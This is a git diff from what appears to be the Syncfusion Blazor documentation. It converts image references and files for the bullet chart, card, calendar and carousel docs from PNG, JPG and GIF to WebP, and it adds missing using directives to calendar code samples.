Binary files /dev/null and b/blazor/bullet-chart/images/value-fill.webp differ
diff --git a/blazor/bullet-chart/legend.md b/blazor/bullet-chart/legend.md
index 61cbb91ecd..2263c5aad5 100644
--- a/blazor/bullet-chart/legend.md
+++ b/blazor/bullet-chart/legend.md
@@ -38,7 +38,7 @@ Legend is used to provide valuable information for interpreting what the Bullet
 }
 ```
 
-![Legend in Blazor Bullet Chart](images/blazor-bullet-chart-legend.png)
+![Legend in Blazor Bullet Chart](images/blazor-bullet-chart-legend.webp)
 
 ## Legend items from color mapping
 
@@ -67,7 +67,7 @@ Legend item to be customized by the following properties.
 
 N> Refer to the [code block](#legend-in-blazor-bullet-chart-component) to know the property value of the **BulletChartData**.
 
-![Customizing Legend Items with Color Mapping in Blazor Bullet Chart](images/blazor-bullet-chart-legend-color-mapping.png)
+![Customizing Legend Items with Color Mapping in Blazor Bullet Chart](images/blazor-bullet-chart-legend-color-mapping.webp)
 
 ## Legend size
 
@@ -88,7 +88,7 @@ Customize the legend size by modifying the [Height](https://help.syncfusion.com/
 
 N> Refer to the [code block](#legend-in-blazor-bullet-chart-component) to know about the property value of the **BulletChartData**.
 
-![Customizing Legend Size in Blazor Bullet Chart](images/blazor-bullet-chart-legend-size.png)
+![Customizing Legend Size in Blazor Bullet Chart](images/blazor-bullet-chart-legend-size.webp)
 
 ## Legend with paging support
 
@@ -111,7 +111,7 @@ Bullet Chart supports the legend paging if the legend items cannot be placed wit
 
 N> Refer to the [code block](#legend-in-blazor-bullet-chart-component) to know about the property value of the **BulletChartData**.
 
-![Legend with Paging in Blazor Bullet Chart](images/blazor-bullet-chart-legend-paging.png)
+![Legend with Paging in Blazor Bullet Chart](images/blazor-bullet-chart-legend-paging.webp)
 
 ## Position and alignment
 
@@ -141,7 +141,7 @@ The following code example demonstrates the top legend position.
 
 N> Refer to the [code block](#legend-in-blazor-bullet-chart-component) to know about the property value of the **BulletChartData**.
 
-![Blazor Bullet Chart displays Legend on Top Position](images/blazor-bullet-chart-legend-on-top-position.png)
+![Blazor Bullet Chart displays Legend on Top Position](images/blazor-bullet-chart-legend-on-top-position.webp)
 
 [Auto](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.LegendPosition.html#Syncfusion_Blazor_Charts_LegendPosition_Auto) position will be rendered with the responsive legend height to the [Bottom](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.LegendPosition.html#Syncfusion_Blazor_Charts_LegendPosition_Bottom) of the component and the [Custom](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.LegendPosition.html#Syncfusion_Blazor_Charts_LegendPosition_Custom) position renders based on x and y coordinates by specified to [X](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.BulletChartLegendLocation.html#Syncfusion_Blazor_Charts_BulletChartLegendLocation_X) and [Y](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.BulletChartLegendLocation.html#Syncfusion_Blazor_Charts_BulletChartLegendLocation_Y) properties in the [BulletChartLegendLocation](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.BulletChartLegendLocation.html).
 
@@ -165,7 +165,7 @@ The following code example demonstrates the [Custom](https://help.syncfusion.com
 
 N> Refer to the [code block](#legend-in-blazor-bullet-chart-component) to know about the property value of the **BulletChartData**.
 
-![Blazor Bullet Chart displays Legend on Custom position](images/blazor-bullet-chart-legend-on-custom-position.png)
+![Blazor Bullet Chart displays Legend on Custom position](images/blazor-bullet-chart-legend-on-custom-position.webp)
 
 The legend alignment is used to align the legend items to the specific location. The following options are available to customize using the [Alignment](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.BulletChartLegendSettings.html#Syncfusion_Blazor_Charts_BulletChartLegendSettings_Alignment) property:
 
@@ -190,7 +190,7 @@ The following code example demonstrates legend item alignment.
 
 N> Refer to the [code block](#legend-in-blazor-bullet-chart-component) to know about the property value of the **BulletChartData**.
 
-![Changing Legend Item Alignment in Blazor Bullet Chart](images/blazor-bullet-chart-legend-alignment.png)
+![Changing Legend Item Alignment in Blazor Bullet Chart](images/blazor-bullet-chart-legend-alignment.webp)
 
 ## Customization
 
@@ -220,4 +220,4 @@ Legend can be customized by the following properties:
 
 N> Refer to the [code block](#legend-in-blazor-bullet-chart-component) to know about the property value of the **BulletChartData**.
 
-![Customizing Legend Items in Blazor Bullet Chart](images/blazor-bullet-chart-legend-customization.png)
\ No newline at end of file
+![Customizing Legend Items in Blazor Bullet Chart](images/blazor-bullet-chart-legend-customization.webp)
\ No newline at end of file
diff --git a/blazor/bullet-chart/ranges.md b/blazor/bullet-chart/ranges.md
index df8f8d7c1e..eb76e9e534 100644
--- a/blazor/bullet-chart/ranges.md
+++ b/blazor/bullet-chart/ranges.md
@@ -34,7 +34,7 @@ Ranges represent the quality of a specific range such as **Good**, **Bad** and *
     };
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BDLUiLLiTfIkQhfG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Ranges in Blazor Bullet Chart](images/blazor-bullet-chart-range.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BDLUiLLiTfIkQhfG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Ranges in Blazor Bullet Chart](images/blazor-bullet-chart-range.webp)" %}
 
 ## Color customization
 
@@ -68,4 +68,4 @@ Enhance the readability of ranges with color and opacity. It can be applied usin
     };
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZBUWBrWJJHrSIXJ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Ranges with Color in Blazor Bullet Chart](images/blazor-bullet-chart-range-customization.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZBUWBrWJJHrSIXJ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Ranges with Color in Blazor Bullet Chart](images/blazor-bullet-chart-range-customization.webp)" %}
\ No newline at end of file
diff --git a/blazor/bullet-chart/target-bar.md b/blazor/bullet-chart/target-bar.md
index 38818b2530..38ae296d36 100644
--- a/blazor/bullet-chart/target-bar.md
+++ b/blazor/bullet-chart/target-bar.md
@@ -34,7 +34,7 @@ The line marker that runs perpendicular to the orientation of the graph is known
 }
 ```
 
-![Target Bar in Blazor Bullet Chart](images/blazor-bullet-chart-target-bar.png)
+![Target Bar in Blazor Bullet Chart](images/blazor-bullet-chart-target-bar.webp)
 
 ## Types of target bar
 
@@ -54,7 +54,7 @@ The shape of the target bar can be customized using the [TargetTypes](https://he
 
 N> Refer to the [code block](#target-bar-in-blazor-bullet-chart-component) to know about the property value of the **BulletChartData**.
 
-![Rectangle Target Bar with Blazor Bullet Chart](images/blazor-bullet-chart-rectangle-target-bar.png)
+![Rectangle Target Bar with Blazor Bullet Chart](images/blazor-bullet-chart-rectangle-target-bar.webp)
 
 ## Target bar customization
 
@@ -77,4 +77,4 @@ The following properties can be used to customize the Target Bar.
 
 N> Refer to the [code block](#target-bar-in-blazor-bullet-chart-component) to know about the property value of the **BulletChartData**.
 
-![Customizing Target Bar in Blazor Bullet Chart](images/blazor-bullet-chart-target-bar-customization.png)
\ No newline at end of file
+![Customizing Target Bar in Blazor Bullet Chart](images/blazor-bullet-chart-target-bar-customization.webp)
\ No newline at end of file
diff --git a/blazor/bullet-chart/title.md b/blazor/bullet-chart/title.md
index 8652a2175a..14cf9da018 100644
--- a/blazor/bullet-chart/title.md
+++ b/blazor/bullet-chart/title.md
@@ -37,7 +37,7 @@ The title of the [Blazor Bullet Chart](https://www.syncfusion.com/blazor-compone
 }
 ```
 
-![Blazor Bullet Chart with Title](images/blazor-bullet-chart-with-title.png)
+![Blazor Bullet Chart with Title](images/blazor-bullet-chart-with-title.webp)
 
 ## Subtitle
 
@@ -57,7 +57,7 @@ To show additional information about the data plotted, the Bullet Chart can also
 
 N> Refer to the [code block](#title) to know about the property value of the **BulletChartData**.
 
-![Blazor Bullet Chart with Subtitle](images/blazor-bullet-chart-subtitle.png)
+![Blazor Bullet Chart with Subtitle](images/blazor-bullet-chart-subtitle.webp)
 
 ## Title and subtitle position
 
@@ -101,7 +101,7 @@ The title and the subtitle positions can be customized using the [TitlePosition]
 
 N> Refer to the [code block](#title) to know about the property value of the **BulletChartData**.
 
-![Changing Title and Subtitle Position in Blazor Bullet Chart](images/blazor-bullet-chart-title-positions.png)
+![Changing Title and Subtitle Position in Blazor Bullet Chart](images/blazor-bullet-chart-title-positions.webp)
 
 ## Title and subtitle customization
 
@@ -123,4 +123,4 @@ The title and the subtitle - color, opacity, font size, font family, font weight
 
 N> Refer to the [code block](#title) to know about the property value of the **BulletChartData**.
 
-![Customizing Title and Subtitle in Blazor Bullet Chart](images/blazor-bullet-chart-title-customization.png)
\ No newline at end of file
+![Customizing Title and Subtitle in Blazor Bullet Chart](images/blazor-bullet-chart-title-customization.webp)
\ No newline at end of file
diff --git a/blazor/bullet-chart/tool-tip.md b/blazor/bullet-chart/tool-tip.md
index f71021d817..6d4e70a74a 100644
--- a/blazor/bullet-chart/tool-tip.md
+++ b/blazor/bullet-chart/tool-tip.md
@@ -46,7 +46,7 @@ The tooltip is not visible by default. To make it visible, set the [Enable](http
 }
 ```
 
-![Blazor Bullet Chart displays ToolTip](images/blazor-bulletchart-tooltip.png)
+![Blazor Bullet Chart displays ToolTip](images/blazor-bulletchart-tooltip.webp)
 
 ## Tooltip customization
 
@@ -74,7 +74,7 @@ The following properties can be used to customize the Bullet Chart tooltip.
 
 N> Refer to the [code block](#default-tooltip) to know about the property value of the **BulletChartData**.
 
-![Customizing Blazor Bullet Chart ToolTip](images/blazor-bullet-chart-tooltip-customization.png)
+![Customizing Blazor Bullet Chart ToolTip](images/blazor-bullet-chart-tooltip-customization.webp)
 
 ## Tooltip template
 
@@ -111,4 +111,4 @@ The tooltip can be rendered as a custom component using the [Template](https://h
 
 N> Refer to the [code block](#default-tooltip) to know about the property value of the **BulletChartData**.
 
-![Blazor Bullet Chart Tooltip with Template](images/blazor-bullet-chart-tooltip-template.png)
\ No newline at end of file
+![Blazor Bullet Chart Tooltip with Template](images/blazor-bullet-chart-tooltip-template.webp)
\ No newline at end of file
diff --git a/blazor/calendar/getting-started-with-server-app.md b/blazor/calendar/getting-started-with-server-app.md
index b936aa1ccd..4ede9fd538 100644
--- a/blazor/calendar/getting-started-with-server-app.md
+++ b/blazor/calendar/getting-started-with-server-app.md
@@ -181,6 +181,8 @@ Here, the Calendar allows selecting a date from the 5th to the 27th of the curre
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Calendars
+
 <SfCalendar TValue="DateTime" Min='@MinDate' Value='@DateValue' Max='@MaxDate'></SfCalendar>
 
 @code{
diff --git a/blazor/calendar/getting-started-with-web-app.md b/blazor/calendar/getting-started-with-web-app.md
index abaa4207bc..1db982ccfd 100644
--- a/blazor/calendar/getting-started-with-web-app.md
+++ b/blazor/calendar/getting-started-with-web-app.md
@@ -151,7 +151,7 @@ The theme stylesheet and script can be accessed from NuGet through [Static Web A
 
 N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in your Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application.
 
-## Add Blazor Calendar component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Calendar component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Calendar component in the **~/Components/Pages/*.razor** file. If the interactivity location is set to `Per page/component` in the Web App, define a render mode at the top of the `~Pages/*.razor` file. (For example, `InteractiveServer`, `InteractiveWebAssembly` or `InteractiveAuto`).
 
@@ -189,6 +189,8 @@ Here, the Calendar allows selecting a date from the 5th to the 27th of the curre
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Calendars
+
 <SfCalendar TValue="DateTime" Min='@MinDate' Value='@DateValue' Max='@MaxDate'></SfCalendar>
 
 @code{
diff --git a/blazor/card/images/Blazor-Card-Component-Content-with-Image.png b/blazor/card/images/Blazor-Card-Component-Content-with-Image.png
deleted file mode 100644
index 4d3b87c5e3..0000000000
Binary files a/blazor/card/images/Blazor-Card-Component-Content-with-Image.png and /dev/null differ
diff --git a/blazor/card/images/Blazor-Card-Component-Content-with-Image.webp b/blazor/card/images/Blazor-Card-Component-Content-with-Image.webp
new file mode 100644
index 0000000000..4f3adb12ef
Binary files /dev/null and b/blazor/card/images/Blazor-Card-Component-Content-with-Image.webp differ
diff --git a/blazor/card/images/Blazor-server-app-creation.png b/blazor/card/images/Blazor-server-app-creation.png
deleted file mode 100644
index 02e4a025bf..0000000000
Binary files a/blazor/card/images/Blazor-server-app-creation.png and /dev/null differ
diff --git a/blazor/card/images/Blazor-server-app-creation.webp b/blazor/card/images/Blazor-server-app-creation.webp
new file mode 100644
index 0000000000..0d820ce3eb
Binary files /dev/null and b/blazor/card/images/Blazor-server-app-creation.webp differ
diff --git a/blazor/card/images/blazor-app-interactive-mode.png b/blazor/card/images/blazor-app-interactive-mode.png
deleted file mode 100644
index 9edcc0e351..0000000000
Binary files a/blazor/card/images/blazor-app-interactive-mode.png and /dev/null differ
diff --git a/blazor/card/images/blazor-app-interactive-mode.webp b/blazor/card/images/blazor-app-interactive-mode.webp
new file mode 100644
index 0000000000..44f2080745
Binary files /dev/null and b/blazor/card/images/blazor-app-interactive-mode.webp differ
diff --git a/blazor/card/images/blazor-card-component.png b/blazor/card/images/blazor-card-component.png
deleted file mode 100644
index 4780101f81..0000000000
Binary files a/blazor/card/images/blazor-card-component.png and /dev/null differ
diff --git a/blazor/card/images/blazor-card-component.webp b/blazor/card/images/blazor-card-component.webp
new file mode 100644
index 0000000000..9238e54471
Binary files /dev/null and b/blazor/card/images/blazor-card-component.webp differ
diff --git a/blazor/card/images/blazor-card-with-horizontal-orientation.PNG b/blazor/card/images/blazor-card-with-horizontal-orientation.PNG
deleted file mode 100644
index 875b65d74c..0000000000
Binary files a/blazor/card/images/blazor-card-with-horizontal-orientation.PNG and /dev/null differ
diff --git a/blazor/card/images/blazor-card-with-horizontal-orientation.webp b/blazor/card/images/blazor-card-with-horizontal-orientation.webp
new file mode 100644
index 0000000000..77532bb1f9
Binary files /dev/null and b/blazor/card/images/blazor-card-with-horizontal-orientation.webp differ
diff --git a/blazor/card/images/blazor-create-web-app.png b/blazor/card/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/card/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/card/images/blazor-create-web-app.webp b/blazor/card/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/card/images/blazor-create-web-app.webp differ
diff --git a/blazor/card/images/blazor-wasm-app-template.png b/blazor/card/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/card/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/card/images/blazor-wasm-app-template.webp b/blazor/card/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/card/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/carousel/images/Blazor-server-app-creation.png b/blazor/carousel/images/Blazor-server-app-creation.png
deleted file mode 100644
index 02e4a025bf..0000000000
Binary files a/blazor/carousel/images/Blazor-server-app-creation.png and /dev/null differ
diff --git a/blazor/carousel/images/Blazor-server-app-creation.webp b/blazor/carousel/images/Blazor-server-app-creation.webp
new file mode 100644
index 0000000000..0d820ce3eb
Binary files /dev/null and b/blazor/carousel/images/Blazor-server-app-creation.webp differ
diff --git a/blazor/carousel/images/blazor-app-interactive-mode.png b/blazor/carousel/images/blazor-app-interactive-mode.png
deleted file mode 100644
index 9edcc0e351..0000000000
Binary files a/blazor/carousel/images/blazor-app-interactive-mode.png and /dev/null differ
diff --git a/blazor/carousel/images/blazor-app-interactive-mode.webp b/blazor/carousel/images/blazor-app-interactive-mode.webp
new file mode 100644
index 0000000000..44f2080745
Binary files /dev/null and b/blazor/carousel/images/blazor-app-interactive-mode.webp differ
diff --git a/blazor/carousel/images/blazor-carousel-getting-started.png b/blazor/carousel/images/blazor-carousel-getting-started.png
deleted file mode 100644
index 47465c172b..0000000000
Binary files a/blazor/carousel/images/blazor-carousel-getting-started.png and /dev/null differ
diff --git a/blazor/carousel/images/blazor-carousel-getting-started.webp b/blazor/carousel/images/blazor-carousel-getting-started.webp
new file mode 100644
index 0000000000..77a614a9bd
Binary files /dev/null and b/blazor/carousel/images/blazor-carousel-getting-started.webp differ
diff --git a/blazor/carousel/images/blazor-create-web-app.png b/blazor/carousel/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/carousel/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/carousel/images/blazor-create-web-app.webp b/blazor/carousel/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/carousel/images/blazor-create-web-app.webp differ
diff --git a/blazor/carousel/images/blazor-wasm-app-template.png b/blazor/carousel/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/carousel/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/carousel/images/blazor-wasm-app-template.webp b/blazor/carousel/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/carousel/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/carousel/images/carousel.jpg b/blazor/carousel/images/carousel.jpg
deleted file mode 100644
index 3e54b1b295..0000000000
Binary files a/blazor/carousel/images/carousel.jpg and /dev/null differ
diff --git a/blazor/carousel/images/carousel.webp b/blazor/carousel/images/carousel.webp
new file mode 100644
index 0000000000..8357578509
Binary files /dev/null and b/blazor/carousel/images/carousel.webp differ
diff --git a/blazor/carousel/images/custom_animation.gif b/blazor/carousel/images/custom_animation.gif
deleted file mode 100644
index c921b87228..0000000000
Binary files a/blazor/carousel/images/custom_animation.gif and /dev/null differ
diff --git a/blazor/carousel/images/custom_animation.webp b/blazor/carousel/images/custom_animation.webp
new file mode 100644
index 0000000000..99d1c7a349
Binary files /dev/null and b/blazor/carousel/images/custom_animation.webp differ
diff --git a/blazor/carousel/images/fade_animation.gif b/blazor/carousel/images/fade_animation.gif
deleted file mode 100644
index ac4f178fc8..0000000000
Binary files a/blazor/carousel/images/fade_animation.gif and /dev/null differ
diff --git a/blazor/carousel/images/fade_animation.webp b/blazor/carousel/images/fade_animation.webp
new file mode 100644
index 0000000000..bd271bf949
Binary files /dev/null and b/blazor/carousel/images/fade_animation.webp differ
diff --git a/blazor/carousel/images/indicator-default.png b/blazor/carousel/images/indicator-default.png
deleted file mode 100644
index 3a213b3ea8..0000000000
Binary files a/blazor/carousel/images/indicator-default.png and /dev/null differ
diff --git a/blazor/carousel/images/indicator-default.webp b/blazor/carousel/images/indicator-default.webp
new file mode 100644
index 0000000000..31f6f8c4f8
Binary files /dev/null and b/blazor/carousel/images/indicator-default.webp differ
diff --git a/blazor/carousel/images/indicator-dynamic.png b/blazor/carousel/images/indicator-dynamic.png
deleted file mode 100644
index 4512567b88..0000000000
Binary files a/blazor/carousel/images/indicator-dynamic.png and /dev/null differ
diff --git a/blazor/carousel/images/indicator-dynamic.webp b/blazor/carousel/images/indicator-dynamic.webp
new file mode 100644
index 0000000000..af11aa1cb2
Binary files /dev/null and b/blazor/carousel/images/indicator-dynamic.webp differ
diff --git a/blazor/carousel/images/indicator-fraction.png b/blazor/carousel/images/indicator-fraction.png
deleted file mode 100644
index a2beba0c26..0000000000
Binary files a/blazor/carousel/images/indicator-fraction.png and /dev/null differ
diff --git a/blazor/carousel/images/indicator-fraction.webp b/blazor/carousel/images/indicator-fraction.webp
new file mode 100644
index 0000000000..24c86a07b9
Binary files /dev/null and b/blazor/carousel/images/indicator-fraction.webp differ
diff --git a/blazor/carousel/images/indicator-progress.png b/blazor/carousel/images/indicator-progress.png
deleted file mode 100644
index 7a85e2e398..0000000000
Binary files a/blazor/carousel/images/indicator-progress.png and /dev/null differ
diff --git a/blazor/carousel/images/indicator-progress.webp b/blazor/carousel/images/indicator-progress.webp
new file mode 100644
index 0000000000..a0cee5e757
Binary files /dev/null and b/blazor/carousel/images/indicator-progress.webp differ
diff --git a/blazor/carousel/images/indicator-size.jpg b/blazor/carousel/images/indicator-size.jpg
deleted file mode 100644
index 7a34733b8b..0000000000
Binary files a/blazor/carousel/images/indicator-size.jpg and /dev/null differ
diff --git a/blazor/carousel/images/indicator-size.webp b/blazor/carousel/images/indicator-size.webp
new file mode 100644
index 0000000000..c804815dbf
Binary files /dev/null and b/blazor/carousel/images/indicator-size.webp differ
diff --git a/blazor/carousel/images/indicators-outside.jpg b/blazor/carousel/images/indicators-outside.jpg
deleted file mode 100644
index 4f43b9b95e..0000000000
Binary files a/blazor/carousel/images/indicators-outside.jpg and /dev/null differ
diff --git a/blazor/carousel/images/indicators-outside.webp b/blazor/carousel/images/indicators-outside.webp
new file mode 100644
index 0000000000..35a77d08dd
Binary files /dev/null and b/blazor/carousel/images/indicators-outside.webp differ
diff --git a/blazor/carousel/images/indicators.jpg b/blazor/carousel/images/indicators.jpg
deleted file mode 100644
index 88b2c0ac91..0000000000
Binary files a/blazor/carousel/images/indicators.jpg and /dev/null differ
diff --git a/blazor/carousel/images/indicators.webp b/blazor/carousel/images/indicators.webp
new file mode 100644
index 0000000000..9924b201da
Binary files /dev/null and b/blazor/carousel/images/indicators.webp differ
diff --git a/blazor/carousel/images/indicators_hidden.png b/blazor/carousel/images/indicators_hidden.png
deleted file mode 100644
index 08204363eb..0000000000
Binary files a/blazor/carousel/images/indicators_hidden.png and /dev/null differ
diff --git a/blazor/carousel/images/indicators_hidden.webp b/blazor/carousel/images/indicators_hidden.webp
new file mode 100644
index 0000000000..b0c4a9ea8c
Binary files /dev/null and b/blazor/carousel/images/indicators_hidden.webp differ
diff --git a/blazor/carousel/images/indicators_preview.png b/blazor/carousel/images/indicators_preview.png
deleted file mode 100644
index 78f19d8819..0000000000
Binary files a/blazor/carousel/images/indicators_preview.png and /dev/null differ
diff --git a/blazor/carousel/images/indicators_preview.webp b/blazor/carousel/images/indicators_preview.webp
new file mode 100644
index 0000000000..c69aaf816b
Binary files /dev/null and b/blazor/carousel/images/indicators_preview.webp differ
diff --git a/blazor/carousel/images/indicators_template.png b/blazor/carousel/images/indicators_template.png
deleted file mode 100644
index 186dd6d44e..0000000000
Binary files a/blazor/carousel/images/indicators_template.png and /dev/null differ
diff --git a/blazor/carousel/images/indicators_template.webp b/blazor/carousel/images/indicators_template.webp
new file mode 100644
index 0000000000..9afacd7ab6
Binary files /dev/null and b/blazor/carousel/images/indicators_template.webp differ
diff --git a/blazor/carousel/images/looping_slides.png b/blazor/carousel/images/looping_slides.png
deleted file mode 100644
index 58235bc9e4..0000000000
Binary files a/blazor/carousel/images/looping_slides.png and /dev/null differ
diff --git a/blazor/carousel/images/looping_slides.webp b/blazor/carousel/images/looping_slides.webp
new file mode 100644
index 0000000000..fcc85c64b7
Binary files /dev/null and b/blazor/carousel/images/looping_slides.webp differ
diff --git a/blazor/carousel/images/navigators-position.jpg b/blazor/carousel/images/navigators-position.jpg
deleted file mode 100644
index 0e0ff877db..0000000000
Binary files a/blazor/carousel/images/navigators-position.jpg and /dev/null differ
diff --git a/blazor/carousel/images/navigators-position.webp b/blazor/carousel/images/navigators-position.webp
new file mode 100644
index 0000000000..5a8254169f
Binary files /dev/null and b/blazor/carousel/images/navigators-position.webp differ
diff --git a/blazor/carousel/images/navigators-size-color.jpg b/blazor/carousel/images/navigators-size-color.jpg
deleted file mode 100644
index 931d17bb3a..0000000000
Binary files a/blazor/carousel/images/navigators-size-color.jpg and /dev/null differ
diff --git a/blazor/carousel/images/navigators-size-color.webp b/blazor/carousel/images/navigators-size-color.webp
new file mode 100644
index 0000000000..edb453563b
Binary files /dev/null and b/blazor/carousel/images/navigators-size-color.webp differ
diff --git a/blazor/carousel/images/navigators_hidden.png b/blazor/carousel/images/navigators_hidden.png
deleted file mode 100644
index 1a32fa9122..0000000000
Binary files a/blazor/carousel/images/navigators_hidden.png and /dev/null differ
diff --git a/blazor/carousel/images/navigators_hidden.webp b/blazor/carousel/images/navigators_hidden.webp
new file mode 100644
index 0000000000..2521ffeeda
Binary files /dev/null and b/blazor/carousel/images/navigators_hidden.webp differ
diff --git a/blazor/carousel/images/navigators_onhover.gif b/blazor/carousel/images/navigators_onhover.gif
deleted file mode 100644
index 644ef82c5d..0000000000
Binary files a/blazor/carousel/images/navigators_onhover.gif and /dev/null differ
diff --git a/blazor/carousel/images/navigators_onhover.webp b/blazor/carousel/images/navigators_onhover.webp
new file mode 100644
index 0000000000..8b6aeb7d26
Binary files /dev/null and b/blazor/carousel/images/navigators_onhover.webp differ
diff --git a/blazor/carousel/images/navigators_template.png b/blazor/carousel/images/navigators_template.png
deleted file mode 100644
index 0dbcd85d23..0000000000
Binary files a/blazor/carousel/images/navigators_template.png and /dev/null differ
diff --git a/blazor/carousel/images/navigators_template.webp b/blazor/carousel/images/navigators_template.webp
new file mode 100644
index 0000000000..8e78c715a1
Binary files /dev/null and b/blazor/carousel/images/navigators_template.webp differ
diff --git a/blazor/carousel/images/partial-slide-size.jpg b/blazor/carousel/images/partial-slide-size.jpg
deleted file mode 100644
index c2217e9395..0000000000
Binary files a/blazor/carousel/images/partial-slide-size.jpg and /dev/null differ
diff --git a/blazor/carousel/images/partial-slide-size.webp b/blazor/carousel/images/partial-slide-size.webp
new file mode 100644
index 0000000000..2f354e12b4
Binary files /dev/null and b/blazor/carousel/images/partial-slide-size.webp differ
diff --git a/blazor/carousel/images/partial-visible.jpg b/blazor/carousel/images/partial-visible.jpg
deleted file mode 100644
index 8ed088b05c..0000000000
Binary files a/blazor/carousel/images/partial-visible.jpg and /dev/null differ
diff --git a/blazor/carousel/images/partial-visible.webp b/blazor/carousel/images/partial-visible.webp
new file mode 100644
index 0000000000..9ae98cf47f
Binary files /dev/null and b/blazor/carousel/images/partial-visible.webp differ
diff --git a/blazor/carousel/images/play_button.png b/blazor/carousel/images/play_button.png
deleted file mode 100644
index 581bc59069..0000000000
Binary files a/blazor/carousel/images/play_button.png and /dev/null differ
diff --git a/blazor/carousel/images/play_button.webp b/blazor/carousel/images/play_button.webp
new file mode 100644
index 0000000000..5713beab19
Binary files /dev/null and b/blazor/carousel/images/play_button.webp differ
diff --git a/blazor/carousel/images/play_button_template.png b/blazor/carousel/images/play_button_template.png
deleted file mode 100644
index e01181d6d8..0000000000
Binary files a/blazor/carousel/images/play_button_template.png and /dev/null differ
diff --git a/blazor/carousel/images/play_button_template.webp b/blazor/carousel/images/play_button_template.webp
new file mode 100644
index 0000000000..e955a947da
Binary files /dev/null and b/blazor/carousel/images/play_button_template.webp differ
diff --git a/blazor/carousel/images/previous-next.jpg b/blazor/carousel/images/previous-next.jpg
deleted file mode 100644
index 9fe3254aa6..0000000000
Binary files a/blazor/carousel/images/previous-next.jpg and /dev/null differ
diff --git a/blazor/carousel/images/previous-next.webp b/blazor/carousel/images/previous-next.webp
new file mode 100644
index 0000000000..905fbbba40
Binary files /dev/null and b/blazor/carousel/images/previous-next.webp differ
diff --git a/blazor/carousel/images/selected_index.png b/blazor/carousel/images/selected_index.png
deleted file mode 100644
index 755ca98510..0000000000
Binary files a/blazor/carousel/images/selected_index.png and /dev/null differ
diff --git a/blazor/carousel/images/selected_index.webp b/blazor/carousel/images/selected_index.webp
new file mode 100644
index 0000000000..2e9cc360ca
Binary files /dev/null and b/blazor/carousel/images/selected_index.webp differ
diff --git a/blazor/carousel/images/swipe.gif b/blazor/carousel/images/swipe.gif
deleted file mode 100644
index f7bf95f636..0000000000
Binary files a/blazor/carousel/images/swipe.gif and /dev/null differ
diff --git a/blazor/carousel/images/swipe.webp b/blazor/carousel/images/swipe.webp
new file mode 100644
index 0000000000..6ba0b64e77
Binary files /dev/null and b/blazor/carousel/images/swipe.webp differ
diff --git a/blazor/carousel/images/without-loop.jpg b/blazor/carousel/images/without-loop.jpg
deleted file mode 100644
index aecdea1fea..0000000000
Binary files a/blazor/carousel/images/without-loop.jpg and /dev/null differ
diff --git a/blazor/carousel/images/without-loop.webp b/blazor/carousel/images/without-loop.webp
new file mode 100644
index 0000000000..8c5073eb96
Binary files /dev/null and b/blazor/carousel/images/without-loop.webp differ
diff --git a/blazor/carousel/styles-and-appearance.md b/blazor/carousel/styles-and-appearance.md
index 88898a22cf..d25e2eb352 100644
--- a/blazor/carousel/styles-and-appearance.md
+++ b/blazor/carousel/styles-and-appearance.md
@@ -27,7 +27,7 @@ The following content provides the exact CSS structure that can be used to modif
 |.e-carousel .e-carousel-navigators .e-play-pause|To customize the play and pause button
 |.e-carousel.e-partial .e-carousel-slide-container|To customize the partial visible slides
 
-![Carousel](./images/carousel.jpg)
+![Carousel](./images/carousel.webp)
 
 ## Customizing the indicators
 
@@ -41,7 +41,7 @@ Use the following CSS to customize the space between indicators by overriding th
 
 ```
 
-![Carousel](./images/indicators.jpg)
+![Carousel](./images/indicators.webp)
 
 Use the following CSS to customize the indicators appearance by overriding the `.e-indicator` CSS class.
 
